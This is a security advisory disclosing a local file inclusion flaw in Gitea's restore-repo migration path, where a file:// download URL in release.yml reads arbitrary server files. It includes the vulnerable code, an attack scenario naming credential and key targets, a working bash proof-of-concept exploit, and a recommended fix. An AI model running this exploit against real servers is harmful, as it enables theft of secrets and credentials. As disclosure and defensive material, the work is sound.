Local File Inclusion via file:// URI in Migration Restore Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers: - Isa Can — Eresus Security (https://github.com/isa0-gh) - Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql) *** Summary Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments. *** Impact An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include: - app.ini — containing database passwords and secret keys - SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*) - TLS certificates and private keys - Cloud provider credential files (e.g. ~/.aws/credentials) - Any other file readable by the Gitea process user The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API. *** Affected Code modules/uri/uri.go func Open(rawURL string) (io.ReadCloser, error) { u, err := url.Parse(rawURL) if err != nil { return nil, err } switch u.Scheme { case "http", "https": resp, err := http.Get(rawURL) ... case "file": return os.Open(u.Path) // no scheme validation, no path restriction } } services/migrations/gitea_uploader.go (~line 370) func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error { for _, rel := range releases { for _, asset := range rel.Assets { rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated ... // file content saved as release attachment } } } *** Attack Scenario An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can: 1. Create a malicious archive containing release.yml: releases: - tag_name: v0.0.1 assets: - name: exfiltrated.txt download_url: "file:///etc/passwd" 2. Run restore: gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo 3. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt. 4. Retrieve via API: curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" -H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url' *** PoC «Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.» #!/usr/bin/env bash PoC: Gitea LFI via release.yml DownloadURL Requires: admin credentials, gitea binary on PATH (server host) GITEA_URL="${1:-http://localhost:3000}" ADMIN_TOKEN="${2:-REPLACE_ME}" TARGET_FILE="${3:-/etc/passwd}" OWNER="test-org" REPO="lfi-test" 1. Create target org and repo via API curl -sf -X POST "$GITEA_URL/api/v1/orgs" -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" -d "{"username":"$OWNER","visibility":"private"}" || true curl -sf -X POST "$GITEA_URL/api/v1/user/repos" -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" -d "{"name":"$REPO","private":true,"auto_init":true}" || true 2. Build malicious archive TMP=$(mktemp -d) mkdir -p "$TMP/bundles/$OWNER/$REPO" cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML releases: - tag_name: v0.0.1 name: test body: "" draft: false prerelease: false assets: - name: output.txt download_url: "file://$TARGET_FILE" size: 0 download_count: 0 YAML cd "$TMP" && zip -r poc.zip bundles/ 3. Trigger restore gitea restore-repo --zip-path "$TMP/poc.zip" --owner "$OWNER" --repo "$REPO" --units release 2>&1 4. Retrieve exfiltrated content echo "[*] Fetching exfiltrated content..." RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id') curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN" rm -rf "$TMP" *** Root Cause uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads. *** Fix Recommendation In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open(): parsed, err := url.Parse(asset.DownloadURL) if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL) continue } rc, err := uri.Open(asset.DownloadURL) Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts. *** Workaround Until a patch is available, operators should: - Restrict restore-repo execution to fully trusted operators only - Audit all archive contents manually before running restoration - Review existing release attachments for unexpected or sensitive filenames *** Isa Can Security Researcher — Eresus Security https://github.com/isa0-gh Yigit Ibrahim Security Researcher — Eresus Security https://github.com/ibrahmsql